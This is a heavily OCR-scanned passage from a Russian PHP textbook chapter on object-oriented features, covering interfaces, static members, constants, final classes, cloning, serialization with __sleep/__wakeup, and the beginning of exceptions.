Листинг 1.44. Интерфейс pager <?php interface pager
Глава 1. Объектно-ориентированные возможности РНР 61 риЬ Н с func tion get_total () ; риЬНс function get_pnurnber (); риЬ Н с function getyage_link () ; риЬ Н с function get_parameters () ; ?> Порядок создания класса, реализующего интерфейс, очень похож на насле­ дование п р оизводного класса от базового, тол ько вместо кл ючевого сл ова e xt e nds используется ключевое сл ово implements. В листи нге 1.45 объявля­ етс я два класса: page r sample и page r_example, которые реализуют интер­ фейс pager. Листинг 1.45. Реализация интерфейса page r классами pager_sample и pager_ехатрlе <?php class pager_s ample impleme nts pager public function get_total () // public function getynurnb er () // publ ic function getyage_l ink () // public function getyarameters () // class pager_example implements pager pub lic function get_total ()
62 ?> 11 public function get_pnumbe r() { 11 public function get_page_link () 11 public function get-parameters () 11 Ча сть 1. Общие вопросы Оба' класса pager_s ample И pager_example должны реализовать методы, пере­ численные в интерфейсе, если хотя бы оди н метод остается нереализованным, выполнение скрипта заканчивается сообщением об ошибке : Fatal error: Access type fo r interface method must Ье omitted (Пропущен метод интерфейса). 1.26. Реализация нескольких и нтерфейсов в отличие от наследования, р еал изация интерфейсов не ограничи вается единственным интерфейсом. Класс может реализовывать любое кол ичество интерфейсов; для этого достаточно перечислить их чер ез запятую после клю­ чевого слова implements (листинг 1.46). ЗА МЕЧАНИЕ И менно возможность реализ ации нескол ьких интерфейсов позволяет ском­ пенсировать отсутствие множественного наследования в объектно­ ориентированной модели языка. Листинг 1.46. Реализа ция нескольких интерфейсов <?php require_once ("i nterface .pager .php") ;
гла ва 1. Объектно-ор иентированные возможности РНР ?> requi re_once ("interface . print_list . php " ); require_once ("interface . document .php " ); class cls irnplernents pager, print_list, do cument // ... 63 Как видно из листинга 1.46, класс cls реализует сразу три интерфейса: pager, print_l ist и do cument . 1.27. Н аследование и нтерфейсов Интерфейсы, так же как и кл ассы, могут наследовать друг другу при помощи кл ючевого сл ова extends . В листи нге 1.47 производный интерфейс extended_pager наследует методы базового интерфейса pager. Листинг 1.47. Наследование интерфейсов <?php interface pager риЬНс function get_total () ; риЬНс function get_pnurnber () ; риЬНс function get-page_l ink () ; риЬНс function get-pararneters () ; interface extended-pager extends pager public function get_page () ; ?> Класс, реализующий интерфейс extended_pager, должен перегружать не тол ько метод get_page ( ) производного кл асса pager, НО И методы базового интерфейса pager: get_total (), get_рпшnb еr (), get_p age_l ink () и g et_p ararneters () (листинг 1.48).
64 ЛИСТИНf 1.48. Реализация интерфейса extendedyage r <?php require_once ("interface .pagers .php " )i class pager_class impleme nts extended_pager // ... public function get_total () // ... public funct ion get-pnumber () // ... public function get-page_link () //... public function get_parameters () // '" public funct ion get-page () //... ?> Часть 1. Общие вопросы Отсутствие в кл ассе pager_class хотя бы одного метода из интерфейсов pager И extended_pager приведет к ошибке. 1.28. Статические член ы кл асса Воспользоваться членами и методами можно и без объявления объекта класса, объя вив их статическими с помощью ключевого сл ова static, что делает их
гл ава 1. Объектно-ориентирова нные возможности РНР 65 доступными в любой момент. Обращение к компоненту класса в этом случае производится при помощи оператора разрешения области видимости : : . Одной из характерных особенностей статических членов кл ассов является возмож­ ность их инициализации непосредственно при объявлении (листинг 1.49). Листинг 1.49 . Объявление статического чл ена класса <?php c1ass c1s pub1ic static $staticvar 100; echo c1s : :$staticva r; // 100 ?> к статическим членам класса нельзя обращаться через префикс $this-> и они не отображаются в списках членов объектов при выводе дампа. В листинге 1.50 приводится модифицированный вариант кл асса c1s, В кото­ ром метод set_staticvar () осуществляет попытку изменить значение стати­ ческого члена кл асса $staticvar п р и помощи префикса $this-> . Л истинг 1.50. Попытка использования префикса $thi s-> ДЛЯ доступа к статическому члену кл асса <?php c1ass c1s pub1ic static $staticva r = 100; pub1ic function set_staticvar ($va1 ) $this->staticvar = $va1 ; $obj = new c1s(); echo "<pre> "; print_r ($obj ) ; echo "</pre>";
66 ?> $obj ->set_staticvar (20) ; echo cls : :$staticvar ; // 100 echo "<pre> "; print_r ($obj ) ; echo "</pre> "; Часть 1. Общие вопросы Результатом работы скрипта из листинга 1.50 будут следующие строки : cls Ob ject 100 cls Obj ect [st aticvar] => 20 Таким образом, попытка обратиться к статическому члену кл асса через пре­ фикс $this-> приводит к созданию нового члена класса, изменение значения которого не затрагивает значение стати ческого члена. Такое поведение связано с тем, что в отличие от других членов класса стати­ ческие члены являются общими для всех объектов данного класса (рис . 1.6). Р ис. 1 .6. Статич еский ч лен кл асса является общим для всех о бъектов
Глав а 1. Объектно-ориентированные возможности РНР 67 Это означает, что изменение содержимого статической переменной в од ном объекте отражается на значении данной переменной во всех объектах. Дан­ ную особенность статических переменных очень часто используют для соз­ дан ия счетчиков объектов или ресурсов, которые они резервируют. В листинге 1.51 представлен класс counter, В составе которого присутствует статическая переменная $count . Изначально она имеет нулевое значение, од­ нако в конструкторе класса оно увеличивается на единицу, а в деструкторе - уме ньшается . Таким образом, в каждый момент времени можно определ ить количество созданных объектов. Листинг 1.51 . Счетч ик объектов <?php ?> class counter public static $count = О; public funct ion __construct () counter : :$c ount++ ; public function __de struct () counter : :$count-- ; Результат использования класса counter демонстри руется в листинге 1.52. Листинг 1.52. Счетчик объектов <?php require_once ("class . counter . php " )i $obj = new counter(); echo counter ::$count . "<br> "; / / 1 for($i= О; $i< 3; $i++) $arr[] = new counter ();
68 Часть 1. Общие вопросы echo counter ::$count ."<br>" ; // 2, 3, 4 // Уничтожаем массив объектов unset ($arr) ; echo counter ::$count ."<br>" ; // 1 ?> 1.29. Статические метод ы кл асса Стати ческими можно объявлять не только чл ены, но и методы класса. Для объявления статического метода также используется ключевое слово static, а для обращения к методу - оператор разрешения области видимости ::. В листинге 1.53 п р иводится пример класса cls, содержащего единственный статический метод static_me thOd () . Листинг 1.53 . Объявление стати ческого метода <?php class cls public static function static_me thod () echo "Выэов статического ме тода "; cls : :static_me thod () ; // Выэов статич еского ме тода ?> Впрочем, дл я вызова методо в при помощи операто ра разрешения обл асти видимости : : без создания объекта не обязател ьно объявлять метод стати че­ ским . Вообще-то вызов нестати ческого метода чер ез оператор :: должно приводить К генерации пр едупреждения, однако в текущей версии РНР этого не происходит. Воз можно, это будет исправлено в следующих версиях РНР.
глава 1. Объектно-ориентированные возможности РНР 69 - 1 .30 . Константы кл асса НарядУ с членами кл ассы могут содержать константы, которые определяются при помощи кл ючевого сл ова cons t. В листинге 1.54 приводится пример класса cls, включающего в свой состав константу NAМE , которая содержит имя класса. ЗАМЕЧАНИЕ Следует обратить внимание, что имя ко нстанты не содержит символа $. Листинг 1.54. Использование констант в классах <?php ?> class cls const NAМE = "cls "; publ ic function rne thod () // echo $thi s->NAМE ; // Ошибочное обращение echo self: :NAМE; echo "<br>" ; echo cls : :NAМE; echo "<br> "; echo cls: :NAМE; ЗАМЕЧАНИЕ И мена констант могут назначаться в любом регистре , од нако традиционно испол ьзуется верхний. Лучше придерживаться да нной традиции, та к как это позволяет значительно увеличить читабельность кода (большинство про­ граммистов будут ожидать , что имен а ко нстант в программе представлены в верхнем регистре) . Точ но так же, как и в случае со стати ческими членами кл ассов, к константам нельзя обращаться при помощи оператора ->; для обращения используется
70 Часть 1. Общие вопросы оператор разрешения области видимости ::, который предваряется либо именем кл асса, либо кл ючевыми сл овами self И parent . Существование констант может быть. проверено при помощи функции defined (), которая возвращает true, если константа существует, и false ­ В противном случае (л истинг 1.55). ЗАМЕЧА НИЕ При проверке классовых конста нт следует в обязател ьном порядке исполь­ з овать оператор разрешения области видимости : : И имя класса . Листинг 1.55. Проверкз существования классовых конста нт <?php require_once ("class .cls .php " ); if (defined ("cls: :NAМE ") ) echo "Константа определена<Ьr>"; // true else echo "Константа не определена<Ьr>"; if (defined ("cls: :POSITION" ) ) echo "Константа определена<Ьr>"; // false else echo "Константа не определена<Ьr> "; ?> 1.3 1. Предопредел енные константы Помимо констант, которые разработчик может вводить в класс, существу­ ют предопределенные константы , кото рые определяет РНР-интерпретатор (табл . 1.3). Та блица 1.3. ПредопределеННblе константы РНР Константа О писа ние LINE Номер текущей строки в файле с РНР-скрипто м - - FILE Полный путь К файлу с РНР-скриптом - - FUNCTION ИМЯ функции, из которой вызывается ко нста нта - - CLAS S ИМЯ текущего класса - - МЕТНОD ИМЯ текущего метода кл асса - -
Глав а 1. Объектно-ориентироваННblе возможности РНР 71 ЗА МЕЧАНИЕ Константа _METHOD_ введе на в РНР, начиная с версии 5.0.0. в листинге 1.56 приводится пример использования предо пределенных кон­ стант для идентификации текущего номера строки, файла и имени метода. Основное наз начение предо пределенных констант заключается в точной иде нтификации места возникновения ошибки. листинг 1.56 . Использование предопределенных конста нт <?php function get-point () return "Вызов функци и " FUNCTION ?> "<Ьr>файла " . FILE "<br>B строке " LlNE echo get_point () ; // 9 строка // 6 строка Результатом работы скрипта из листинга 1.56 будут следующие строки : Выз ов функци и get-point файла D: \main\oop\06\index . php Б строке 6 Таким образом, ко н станта _LINE_ подставляет номер строки вызова кон­ станты, а не фактической функции, из которой она вызывается . Точно так же действуют и все остальные константы - включение файла из листинга 1.56 в другие файлы при помощи инструкций include и require не приводит к смене их значений. Как видно из листинга 1.56, предопределенные константы _LINE_, _FILE_И _F UNC T ION_ не связаны с объектно-ориентированным подходом непосредственно, однако ничто не мешает использовать их в классах (л ис­ ти нг 1.57). Листинг 1.57. Использование предопределенных констант в классе < ?php class cls
72 ?> public function get-point () ( return "Выз ов фУНКЦИ И ". FUNCT ION "<Ь r>файла ". FILE "<br>B строке " LINE 11 8 строка echo cls: : get-point () ; 11 12 строка Часть 1. Общие вопросы Результатом работы скрипта из листинга 1.57 будут следующие строки : Вызов фУНКЦИ И get_point файла D: \rnain\оор\Об\сlаss .Сls .рhр в строке 8 Для использования в классах предусмотрены также специализированные константы : _CLASS_ И _МЕТНОО_ (л исти нг 1 .58). Листи нг 1.58. Использование констант CLASS и МETHOD <?php ?> class cls public function get_point () return "Вызов ме тода " . МЕТНОО "<Ьr>класса " . CLASS "<br>B файле " . FILE "<br>B строке " LINE echo cls: : get_point () ; 11 13 строка - - 11 9 строка Результатом работы скрипта из листинга 1.58 будут следующие строки : Выз ов ме тода cls: : get_point класса cls в файле D: \rna in\оор\Об\сlаss .сls .рhр в строке 9
гл ава 1. Объектно-ориентирова нные возможности РНР 73 1 .32 . Finаl-методы класса Если абстрактные методы и интерфейсы предназначены для того, чтобы обес печить обязател ьную перегрузку методо в в производных классах, то ключевое сл ово final решает обратную задачу. Методы, объявленные в ба­ з овом классе с ключевым словом final, не могут быть перегружены в про из­ в од ном классе. В листи нге 1.59 приводится пример базового класса base, снабженного fiпаl-методом final_me thod (), и производного кл асса de rived. ЗАМЕЧАНИЕ В ранних версиях РНР допускал ось объявление членов классов с кл юче­ вым словом final, В текущих версиях данная возможность запрещена. Листинг 1.59 . Использование ключевого слова final <?php ?> clas s base public function final_me thod () echo "base : : final_method( ) " ; class de r ived extends base 11 publ ic function final_me thod () 11{ 11 echo "derived : : final_me thod () "; 11} ЗАМЕЧАНИЕ Н е имеет значения , в каком порядке будут перечислены кл ючевые сл ова final И public: допускается как использование последовател ьности final public, так и public final.
74 Часть 1. Общие вопросы Попытка перегрузить метод final rne thod () в производном классе de rived заканчивается ошибкой Fatal error: Cannot override final method base: :final_methodO (Невозможно пер егрузить fiпаl-метод base: : final_methodO)· Помимо обычных методов в качестве fiпаl-метода можно объявлять и спе­ циальные методы . Например, в листи нге 1.60 в качестве fiпаl-метода объявляется конструктор класса base, В резул ьтате чего становится невоз­ можным наследование производного кл асса de rived С переопределенным конструктором . Листинг 1.60. За прет на наследование <?php class base public final function __construct () } // class de rived extends ba se // // Переопределяется fiпаl-ме тод , // наследование невозможно // public function __construct () // // // ?> Однако прием, представленный в листинге 1.60, не является надежн ым спо­ собом запрета наследо вания от класса bas e. Достаточно не переопределять конструктор производного кл асса derived, чтобы наследование стал о воз­ можным (л истинг 1.61). Листинг 1.61 . Обход запрета на наследо вание <?php class base
Гла в а 1. Объектно-ориентироваННblе возможности РНР ?> public final function __construct () class de r ived extends Ьазе // fiпаl-ме тод не переопределяется, // наследование возможно 75 Для того чтобы пол ностью запретить наследование, следует объявить final­ класс (см . раздел 1.33). 1.33. Fin а/-кл а ссы Совместно с кл ючевым словом final можно объявлять не тол ько отдел ьные методы, но и целые классы. Класс, объявленный при помощи ключевого сло­ в а final, не может иметь наследников (листинг 1.62). ЗА МЕЧАНИЕ Класс не может одновременно являться и абстрактн ым (abstract) , и fiпаl-классом. Листинг 1.62. Объявление finаl-класса <?php final class Ьазе public function __cons t ruct () } // class de r ived extends Ьазе // 11 ?>
76 Ча сть 1. Общие вопросы По п ытка объявить производный кл асс, наследующий от finаl-класса, закан­ чивается сообщением об ошибке: Fatal error: Class derived mау not inherit from final class (base) (Класс derived не может быть унаследован от final­ класса (base)). 1.34. Клони рование объекта Оператор присваивания = не приводит к созданию новой копии объекта: и старый, и новый объект указ ывают на одну и ту же область памяти. Б листинге 1.63 представлена операция присвоения одного объекта класса cls другому, при этом изменение чл ена кл асса нового объекта $new_obj от­ ражается на старом объекте $obj . Листинг 1.63. Присвоение од ного объекта другому <?php ?> class cls public $var; public function __construct () $this->va r 100 ; $obj = new cls(); $new_obj = $obj ; $new_obj ->var = 200; echo $obj ->var; // 200 Схематично процесс присвоения объекта $obj объекту $new_obj продемон­ стрирован на рис. 1.7. Для создан ия копии текущего объекта используется специальная операция - кл онирование. Оно выполняется при помощи ключевого слова clone, кото­ рое располагается непосредственно перед объектом кл онирования (лис­ тинг 1.64).
гл ава 1. Объектно-ориентиров анные в озможности РНР 77 :: $obj $this->vaг :: 200 Рис. 1 .7. Присвоение одного объекта другому не приводит к созда нию новой ко пии; те кущий объект получает допол н ительный псевдоним Листинг 1.64. Клонирование объекта <?php ?> c1ass c1s pub1ic $var; pub1 ic function __const ruct () $this->va r 100; $obj = new c1s(); $new_obj = с1опе $obj ; $new_ob j->var = 200 ; echo $obj ->va r; // 100 Схематически процесс кл онирования объекта $obj и получения независимой ко пии $new_obj представлен на рис. 1 .8. :: clone Рис. 1.8 . Получение независимой коп ии объекта $obj посредством кл онирования
78 Ча сть 1. Общие вопросы 1.35. Упра вление процессо м кл онирования . Метод _с/оnеО Клонирование объекта приводит к создан ию новой копии объекта без вызова его конструктора, в чем можно убедиться, поместив в конструктор вывод от­ ладочной записи (листинг 1.65). Ли<:тинг 1.65. Конструктор не вызываетс я при клонировании <?php ?> class cls риЬНс $var; pиb lic function __construct () $this->va r = 100; echo "Вызов KOHCTpYKTopa<br>"; $obj = new cl s(); $new_obj = clone $obj ; в результате работы скрипта из листинга 1.65 в окно браузера будет выведе­ на лишь одна запись Вызов конструктор а. Тем не менее, в процессе созда­ ния нового объекта может потребоваться выполнить ряд действий. Дл я этого РНР предоставляет специальный метод __ clone (), который можно переоп­ ределить в классе. В листинге 1.66 приводится пример улучшенного класса counter, который подсчитывает кол ичество созданных объектов и подробно рассматривался в разделе 1.28. При создании нового объекта статическая пе­ ременная $count увеличивается на единицу в конструкторе, при уничтоже­ нии объекта - на единицу уменьшается. Однако при клонировании, как бы­ ло продемонстрировано выше, конструктор не вызывается, и в системе появляются неучтенные объекты . Подобную ситуацию можно исправить перегруз ко й метода __ clone ( ) .
� � а�в � а� 1 . _ 0 __ б _ ъ _ е_ к m__н _ о_ - о�р _ u_е _ н_m _ u�р�о _ в_а _ н_н _ Ь _ l е__в _ оз _ М _ о_ ж __ Н _ о_ сm __ u_Р _ Н __ Р______________________7 __ 9 ЗА МЕЧАНИЕ Метод __clone () не вмешивается в работу кл онирования, то есть про­ граммист не должен реал изовывать механизм кл онирования самостоя­ тельно; он может лишь использовать метод clone () дл я реакци и на вы­ полнение кл онирования. Л и<:тинг 1.66. Использование метода _clone () <?php ?> class counter publ ic static $count = О; public function __construct () counter: : $count++; public funct ion __de struct () counter: :$count-- ; public function __clone () counter: :$count++; Важной детал ью является то, что метод clone () выполняется для нового объекта. Таким об разом все изменения, производимые над об ъектом методом _ c lone (), будут отражаться на новом, а не на старом о б ъекте . 1.36. Сериал и зация объектов В силу особ енности применения РНР время жизни об ъектов, как правило, очень невелико: все переменные и об ъекты уничтожаются после завершения скрипта. Протокол НТТР не является сессионным, то есть каждое об ращение к с ер веру воспринимается как об ращение нового клиента, а история пред ы-
80 Часть 1. Общие вопросы дущих обращений не сохраняется . Разработчик Web-приложений должен сам реализовывать сохранение состоя ния приложения для каждого из клиентов, прибегая к сессиям и cookie. В таких условиях большое значение приобрета­ ет возможность передачи объекта между несколькими сеансами клиента ил и даже между отдел ьными стран ицам и Web-приложения. Для сохранения объекта в формате, который позволял бы его восстанавл и­ вать впоследствии, часто прибегают к сериализации: переводу объекта в строку при помощи функции serialize (). Такая строка может быть сохра­ нена в файл или базу данных, после чего сохраненный объект можно полу­ чить при помощи обратной функции un serialize () . Данные функции имеют следующий синтаксис: string serialize ($obj ) obj ect иns erialize ( $str) Для демонстрации приемов работы с функция ми serialize () и uns erialize () создадим вспомогательный класс cls, содержащий единст­ венны й открытый член $var, инициализация которого осуществляется в ко н­ структоре класса (л исти нг 1.67). Листинг 1.67 . Класс cls <?php ?> class cls pиbl ic $var; pиblic fиnction __construct ($var ) $this->var $var; в листинге 1.68 представлен скрипт, который сериализует объект $obj класса cls в строку, а строку сохраняет в файл text.obj. ЗА МЕЧА НИЕ Сериализации могут подвергаться не тол ько объекты , но и массивы (в том числе многомерные).
гпава 1. Объектно-ориентированные возможности РНР - листинг 1.68 . Сериализация объекта $оЬ) класса сlз <?php ?> / / Подключаем определение класса cls require_once ("class . cls . php" ) ; / / Создаем объект $obj = new cls (lOO) ; / / Сериализуем объект $text = serialize ($obj ); // Сохраняем объект в файл $fd = fopen ("text . obj ", "w") ; if ( ! $fd) exit ("Невозможно открыть файл" ) ; fwrite ($fd, $text) ; fclose ($fd) ; 81 Результатом работы скрипта из листинга 1.68 будет файл text.obj, содержа­ щий следующую строку : O: 3 :"cls " :1: { s:3: "var" ;i:100; } Данная строка предназначена для функции unserialize () и Позволяет вос­ стан овить объект в другом файле (листинг 1.69). Листинг 1.69. Восстановление объекта из строки <?php // Подключаем определение кл асса cls require_once ("class . cls .php " ) ; // Извлекаем серилизованный объект из файла $fd = fopen ("text . obj ", "r") ; if ( ! $fd) ехН ("Невозможно открыть файл" ) ; $text = fread ($fd, filesize ("text . obj ") ); fc lose ($fd) ; 11 Восстанавлив аем объект $obj = uns erialize ($text) ;
82 ?> // Выв одим дамп объекта echo "<pre> "; print_r ($Obj ) ; echo "</pre>"; Часть 1. Общие вопросы Результатом работы скрипта из листинга 1.69 будет следующий дам п объекта $obj : c1s Object [var] => 100 Важно, чтобы в момент восстановления объекта скрипт имел доступ к классу c1s, иначе восстановление объекта будет проведе но лишь частично. По сути, будет создан объект-конте йнер, в котором будут присутствовать члены клас­ са c1s, однако отсутствовать какие бы то ни было методы : __ PH P_Incomp1ete_Class_Name ] => cls [var] => 100 1.37 . Управл ение сериализ ациеЙ. Методы _s/eepO и _wakeupO При сохранении и восстановлении объекта при помощи функций serialize () и unserialize () может потребоваться осуществ ить ряд дейст­ вий, например, убрать из объекта дан ные, которые не должны подвергаться сериализации, или скорректировать их значения, есл и они теряют актуал ь­ ность . Для осуществления подобных действий предназначены два специаль­ ных метода, которые могут быть перегружены в клас се: метод __ sleep (), который вызывается, когда объект подвергается сериализации при помощи функции serialize (); и метод __wakeup (), который вызывается при восста­ новлении объекта при помощи функции unserialize (). Оба метода не при­ нимают никаких параметро в.
Гл ава 1. Объектно-ор иентироваННblе возможности РНР 83 - ЗАМЕЧАНИЕ Название метода _s leep () образовано от английского гл агола " спать " , а метода _w akeup () - от глагола " пробуждаться" . Для де монстрации приемов раб оты со специальными методами _s leep () и w a keup () создадим класс user, который будет иметь в своем составе сле­ дующие члены : LI $ name - имя пользователя; LI $ p assword - его пароль (если поле пустое, то пользователь перенаправ­ ляется на страницу авторизации); LI $referrer - последняя посещенная стран ица; LI $time - время авто ризации пользователя. В листинге 1.70 приводится возможная реализация кл асса user. Листинг 1.70. Класс \lser <?php class user // Конструктор public function _c ons truct ( $name , $password ) $this->name $пamе ; $this->password $password ; $th is->referrer $_SERVER ['PHP_S ELF ']; $this->time time() ; // имя пользователя риЬН с $пamе ; // Его пароль public $password; // Последняя посещенная страница pub lic $referrer;
84 ?> // Время авторизаци и пользователя public $time ; Часть 1. Общие вопросы в листинге 1.71 демонстрируется скрипт, который подвергает сериализаци и объект $obj кл асса user. Листинr 1.71 . Сериализация объекта класса user <?php ?> // Подключаем реализацию кл асса require_once ("c 1ass .user .php " ); // Создаем объект $obj = new user ( "nick" , "pas sword" ); // Выв одим дамп объе кта echo "<pre> "; print_r ($obj ) ; echo "</pre>"; // Сериализуем объект $obj ect seria1ize ( $obj ); // Выводим сериализованный объект echo $obj ect ; Резул ьтатом работы скрипта из листинга 1.71 будут следующие стро ки : us er Ob ject [пате] => nick [password] => password [referrer] => /oop/07/index . php [tirne ] => 1177676349 O: 4: "user" :4: { s:4:"name " ;s:4:"nick";s:8:"password" ;s:8:"password" ;s:8:"re ferrer";s:17:"/oop/ 07/index .php " ;s:4:"tirne" ;i:117767634 9; }
гл а ва 1. Объектно-ориентированные возможности РНР 85 - при сериализации объекта полезно назначать парол ю $pas sword пустую стр оку, чтобы не допускать его сохранения на жестком диске в незашифро­ ва нном виде. Для решения это й з�дачи как нельзя лучше подходит метод s leep ( ), который обнулит член $pas sword и вернет полученный объект фун кц ии serialize (). П о сути метод _s leep () высту пает в качестве фил ьт­ ра , п озволяя настроить процесс сериализации на избирательное сохранение и н ф ормации (рис. 1.9). Р ис. 1.9 . Схема сериализации объекта в листинге 1.72 представлен модифициро ванный вариант кл асса user, кото­ р ый обнуляет значение члена $password при сериализации объекта. Листинг 1 .7 2 . Использование метода _s leep О <?php class user // Конструктор public function _cons truct ($name , $password ) $this->name $name i $this->p assword $password i $this->referrer $_SERVER ['PHP_SELF' ]i $this->tirne tirne() i
86 ?> public function __sleep () $this->pas sword ""; return $this ; // имя пользователя риЬНс $пarnе; // Его пароль public $pas sword; // Последняя посещенная страница public $referrer ; // Время авторизации поль зователя риЬНс $time ; Часть 1. Общие вопросы Однако те перь попытка ИСПОЛ ЬЗQвать функцию serialize () применител ьно к объекту кл асса user будет приводить к обнулению члена $passwo rd, что может быть неудобно, есл и планируется дальнейшее испол ьзование объекта (листинг 1.73). Листинг 1.73. Побочный эффект сериализа ции <?php // Подключаем р�ализацию класса require_once ("class .user .php " ); // Создаем объект $obj = new user ("nick" , "pas sword" ); // Выв одим дамп объекта echo "<pre> "; print_r ($obj ); echo "</pre> "; // Сериализуем объект $obj ect = serialize ($obj );
гл ава 1. Объектно-ориентироваННblе возможности РНР - // Выводим дамп объекта echo "<pre>"; p rint_r ($obj ); e cho "</pre>" ; / / Выв одим сериализованный объект echo $object; ?> 87 Резул ьтатом работы скрипта из листи нга 1.73 будут следующие строки, из которых видно, что вызов функции serialize () приводит К необратимой модификации объекта $obj : user Ob ject [пате] => nick [password] => pas sword [ referrer] => /oop/07/index . php [time ] => 1177676475 user Ob j ect [пате] => nick [password] => [referrer] => /oop/07/index . php [time ] => 1177676475 0: 4: "user" : 4: { s:4:"nick" ;N;s: О: "" ;N;s:17 : "/oop / 07/index .php " ;N;N; } Для решения этой проблемы удобно воспользоваться кл онированием, редак­ тируя и возвращая не оригинальный объект, а его ко пию (листинг 1.74). Листинг 1.74. Исключение побочного эффекта сериализации < ?php c1ass user // Конструктор public function __construct ($naтe , $password ) $this->naтe = $nате;
88 ?> $this->password $this->referrer $this->time $pas sword ; $_SERVER ['PHP_SELF' ]; time () ; public function __sleep () $obj = clone $this ; $obj ->pas sword return $obj ; // имя поль зователя public $пате ; // Его пароль public $password; 1IН. t // Последняя посещенная страница public $referrer; // Время авторизации поль зователя public $time; Часть 1. Общие вопр осы Теперь выполнение листи нга 1.74 будет демонстрировать неизменность объ­ екта, как после вызова функции serialize () : user Obj ect [пате ] => nick [password ] => password [referrer] => /oop/07/index . php [time ] => 1177676630 user Ob ject [пате] => nick [password] => pas sword [referrer] => /oop/07/index . php [time ] => 117767 6630 O: 4: "user" :4: { s:4:"nick" ;N; s:0: "";N;s:17:"/oop/07/index . php " ;N;N; }
гл а ва 1. Объектно-ориентирова нные возможности РНР 89 - восстановление объекта из сериализованного состояния при помощи функ­ циИ un serializ e () приведет к с озданию объекта, в котором сохраняется в р е м Я авторизации пол ьзовател я $time . Разумно при этом обновить член $ t ime при вызове функции unserialize (). Для решения это й задач и предна­ з н ач ен с пециал ьный метод _wakeup (), который вызывается сразу после вос­ станов ления объекта (рис. 1.1О). Рис. 1 .10. Схема восстановления объекта . в листинге 1.75 представлен модифицированный кл асс user, который обе с­ печивает обновление времени авторизации пользователя при восстановлении объекта. Листинг 1.7 5. Использование метода _wakeup () <?php class user // Конс труктор public function _c ons truct ( $name , $password ) $this->name $пате ; $th is->pas sword = $password ; $th is->referrer $this->time $_SERVER ['PHP_SELF' ]; time () ;
90 ?> pub lic function __sleep () $obj = clone $this i $obj ->password return $Obj i "" ., public function __wakeup () $this->tirne tirne () i // имя поль зователя public $пamе ; // Его пароль pub lic $pas swordi // Последняя посещенная страница public $referreri // Время авторизаци и поль зователя public $tirne i Часть 1. Общие вопросы в листинге 1.76 представлен скрипт, кото рый демонстр ирует восстановление объекта из сериализованного состояния с обновлением члена $tirne . Листинг 1.76. Восстановление объекта <?php // Подключаем реализацию класса requi re_once ("c lass .user .php " )i // Сериализованный объект $obj ect = 'O:4:"user" :4: {s:4:"narne " is:4:"nick"i '. 's:8: "password" i s:8:"password" i'. 's:8:"referrer" i s:17:"/ oop/07/ index.php " i '. 's:4:"tirne" ii:1177676349i}'i
Гл ава 1. Объектно-ориентированные возможности РНР ?> / / Восстанавливаем объект $ obj = unserialize ($obj ect) ; // Выводим дамп объекта e cho "<pre>" ; print_r ($obj ); echo "</pre>"; 91 Резул ьтатом работы скриnта из листинга 1.76 будет следующий дамп объекта класса user: user Ob ject [паше] => nick [pas sword] => password [referrer] => /oop/07/index . php [time ] => 1177677626 в л истинге 1.76 пришлось испол ьзовать сериализованный вариант, который не подвергался фильтрации через метод _s leep (). Это связано с тем, что в текущих версиях РНР метод _s leep () возвращает массив, а не объект, и при попытке возврата объекта авто матически приводит его к массиву, отбрасывая и мена полей. В резул ьтате невозможно восстановить после сериал изации объект, класс кото рого содержит перегруженный метод _s leep () (при от­ сутствии этого метода восстановление происходит штатно) . Возможно, в бу­ дущих версиях РНР эта ситуация будет исправлена, пока же для использова­ ния методов sleep () И _wakeup () следует искать альте рнативные в ар ианты . Один из таких вариантов обсуждается в следующем раздел е. 1.38. Синтаксис исключений Исключения не являются непременным атрибутом объектно-ориентиро­ ван ного подхода де-юре, однако сопровождают кажд ый объектно-ориенти­ рованный язык де-факто . Дело в то м, что объектно-ориентированный подход серьезно изменяет структуру кода: испол ьзующий его программ ист отчасти сам становится автором языка программирования в рамках предметной об­ ласти, для которой разрабатываются классы. В свою очередь структурные из менения кода требуют новых способов обработки ошибок (нештатных си­ ту аций).
92 Часть 1. Общие вопросы Создание класса - это всегда работа на абстрактном уровне : создается не конкретная область памяти, а тол ько поведение объектов. Кл асс высту пает инструм ентом, который, как и язык программирования, может применяться в совершенно разных областях и приложениях. Обработка нештатных ситуа­ ций, ошибок как в коде, так и ошибок ввода данных может быть разл ичной дл я разных приложений: где-то достаточно вывести сообщение при помощи функции echo; где-то сообщение следует оформить в виде НТМL-страницы с дизайном, согласованным с остал ьными страницами приложения; где-то со­ общение об ошибке должно быть помещено в журнал ( В файл ил и базу дан­ ных). Предусмотреть заранее формат ошибки невозможно, а его предо преде­ ленность будет сужать область применения кл асса и возможность его повторного использования. Выходом из ситуации является разделение кода кл асса и кода обработки ошибок, что достигается при помощи специального механ изма - исключе­ ний. Разработч ик класса должен сгенерировать исключение, а пол ьзователь класса может его обработать по своему усмотрению. Разработч ики могут проектировать свои собственные исключения, кото рые являются классами, при этом генерация исключений сводится к передаче объекта исключения из точки возникновения нештатной ситуации в обработ­ чик исключений. Удобство применения исключительных ситуаций применительно к объектно­ ориентированному подходу вовсе не означает, что следует пренебрегать про­ цедурными средствами обработки ошибок. В РНР имеется развитая система отслеживания и контроля за ошибкам и, и пренебрегать ею не сто ит. Для реализации механизма исключений в РНР введены следующие кл ючевые слова: try (контролировать), throw (генерировать) и catch (обрабатывать). ЗА МЕЧА НИЕ Механизм исключений не обязател ьно должен быть привязан к объектно­ ориенти рованной системе; допускается использование исключений приме­ нительно к структурному коду. Ключевое слово try позволяет выдел ить в любом месте скрипта так назы­ ваемый контролируем ый бл ок, за которым следует один ил и нескол ько бло­ ков обработки исключений, реал изуемых с помощью кл ючевого слова catch (л истинг 1.77).
� � а � 8�а � 1 _ . _ 0 __ б _ ъ _ е_ к m__н _ о_ - о�р _ u_е _ н_m _ U � Р � О _ 8_а _ н_н _ Ь _ ' е__8 _ 0 з _ М __ ож__ Н _ о_ сm __ u_Р _ Н __ Р______________________ 9 _ з _ Л исТИНГ 1.77 . Создание контролируемого блока <?php try / / Операторы // Генерация исключений throw Выражение_г енерации_исключения; // Операторы catch (Except ion $ехр) // Бло к обработки исключитель ной ситуации ?> Обработчик (или обработчики) всегда располагаются после контрол ируемого оператором try блока кода. Среди операто ров контрол ируемого блока могут быть любые операторы и объявления РНР . Есл и в теле контролируе мого бло­ ка исключение ге нерируется при помощи кл ючевого слова throw, то интер­ претатор РНР переходит в саtсI1-0бработч ик. В листи нге 1.78 представл ен скрипт, в котором по случ айному закону либо генерируется, либо не ге нери­ руется исключение. Листинг 1.78 . Ге нерация исключения по случайному закону <?php try // Генерируем исключение по случайному закону if (rand (О, 1) ) // Генерация исключений throw new Exception () ; catch ( Exception $ехр)
